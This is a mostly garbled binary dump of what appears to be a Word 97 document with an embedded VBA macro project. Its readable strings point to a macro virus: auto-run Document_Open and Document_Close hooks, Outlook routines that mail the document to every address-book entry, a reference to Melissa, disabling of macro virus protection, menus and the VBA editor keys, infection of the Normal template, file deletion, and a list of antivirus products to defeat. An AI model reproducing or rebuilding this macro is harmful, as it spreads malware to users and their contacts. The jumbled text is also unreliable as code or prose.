PPoal,NimbEa MuneQ@CuW zler Va" E" Pau\ L@omba D Av's Makers`PenaS: QuaocPodnpe V +Fip Pes ,Ek/EGra ceQn EuQo# So P-3D5QMEStatuA23 La@shs AS#d, 5Assum@#'Fud0VT:Jeito:qaPCampe) H k: Tanv]plo aU1M "EA),QDPigituDiP`tiGWww.Skott@Ig.~.Br@1h9OAo DeoutЉO coU#Depo0Pergupmm: Pqyaz  &'dVc haR!o9p D <&Em Ci7MerecP1)FalP/Ab'sC!-Me IcqP -y Di XMo1(Obs`: L-duR Uns Bob1Pmo)0!A Berne'la O..A~ New Generon ' BISONHO ? afavpbfavphahaNOTĎAction1Action2Action3Action4Action5Ne WordBasic DefaultDir$lFileCopy@recadoChanceRndR vbSystemModal.vbOKOnlyQuit9wdDoNotSaveChangesԇTasksL ExitWindowscShellVmbox2WINDOWSdfolderQall'tof^rist(_tit[vbYesa? StatusBarʜ vbExclamationPgQhSjMkDirPastasFimv vbCritical+}FILEEE OutLookApD NamOfMapi BisonhoMail` CreateObject GetNameSpaceCLogonLyl AddressListsCount0vAddyBook@xo CreateItem~oo^AddressEntries TheEntries RecipientsSubjectRPUserName\Bodyl Attachments_FullNameОSendLogoffQ8Documentjl   $ : J< rstdole>stdoleP f%\*\G{00020430-C 0046}#2.0#0#C:\WINDOWS\SYSTEM\STDOLE2.TLB# Automation ^mMSFo@rms> MSFErm@s/z pF902C0B4A-F2F2-11D4-929K6008511990F3.TWD#MicrosPoft = ` Ob Libr8ary9P0rP7F007A42-0A48AP5"PJP\VBE\(EX(.E .`M KCxN@UalCxNETax + ,C AOfficDO@ficBG{2DF8D04C-5BF=01B-BDER5@AA@42fARCHIVOS DE PROGRAMA\OFFICEMSO97.DLLj"P 8.0jDQ1ThisDocumentN20Th5sDIcu@enEHB1B,BW1"B+Bdulo1 *2ķuao1/ Ws- (Y1!( bThisDocumentThisDocumentMdulo1Mdulo1ID="{16EB0D6D-0A8C-11D5-9290-006008511990}" Document=ThisDocument/&H00000000 Module=Mdulo1 Name="Project" HelpContextID="0" CMG="1F1D95B8ABC8CECCCECCCECCCECC" DPB="3E3CB4D9CCE7EAE8EAE8EA" GC="5D5FD7F6E914EA14EAEB" [Host Extender Info] &H0000000PROJECT {CompObj"k1={3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000 [Workspace] ThisDocument=0, 0, 0, 0, C Mdulo1=0, 0, 0, 0, C   FDocumento Microsoft Word MSWordDocWord.Document.89qza^ ,*\G{000204EF-0000-0000-C000-000000000046}#3.0#9#C:\ARCHIVOS DE PROGRAMA\ARCHIVOS COMUNES\MICROSOFT SHARED\VBA\VBA332.DLL#Visual Basic For Applications *\G{00020905-0000-0000-C000-000000000046}#8.0#409#C:\Archivos de programa\Office\Office\MSWORD8.OLB#Microsoft Word 8.0 Object Library*\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\WINDOWS\SYSTEM\STDOLE2.TLB#OLE Automation*\G{902C0B4A-F2F2-11D4-9290-006008511990}#2.0#0#C:\WINDOWS\SYSTEM\MSForms.TWD#Microsoft Forms 2.0 Object Library*\G{7F007A42-0A8A-11D5-9290-006008511990}#2.0#0#C:\WINDOWS\TEMP\VBE\MSForms.EXD#Microsoft Forms 2.0 Object Library.E .`M *\CNormal*\CNormal:*\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.0#0#C:\ARCHIVOS DE PROGRAMA\OFFICE\OFFICE\MSO97.DLL#Microsoft Office 8.0 Object Library:Q1ThisDocument 43a97fec8*DW1Mdulo1 53a97fece*DY1Ws8g  `Qi  `QH>AndEElseif`IfthenWordkVBAWin16~Win32Mac Proyecto1istdole`MSFormsC ThisDocument< _EvaluatenormalOfficeuProject-Mdulo1ETHAN.ALEM"DE\ DESABILITAR7OS^MENUS!LBARRA8TAREFAS AXLISTAofAVISOzPARA~MELISSAQDocument_Close7\ Document_Open Document_New;E Application*EnableCancelKeyArchhBActiveDocument\ VBProjectOh VBComponents 'ItemzNormP>NormalTemplateqItsMe0 CodeModuleLines DeleteLines  CountOfLines!\ InsertLinesSetAttrCvbNormal-Kill RetroActionҼDayNow%Month ChooseActions,MinuteamSecondsMsgQStylepvbYesNo vbQuestionTitle~RetMsgBoxRvbNo%LoopItk ThisIsSpecial EmailCopy[wdCancelDisabled{OptionsVirusProtectionoDmacrosNnoj^ documentoSaveNormalPromptʼdot CommandBars ControlsKVisibleCustomizationContext΀ KeyBindingsm2AddrKeyCode BuildKeyCodepArg1BwdKeyAltArg2BwdKeyF11 KeyCategoryXwdKeyF8 McAfeeFMcAfeeFProtFFProtVETyFVETw4AvastOFAvast TheCleaner FTheCleanerPandaFPandaAVPuFAVPSystemaPrivateProfileString[AffproteBffprot6AfvetUcAFMcAfee afavast>bfavastv afthecleanerdafpanda`bfpanda1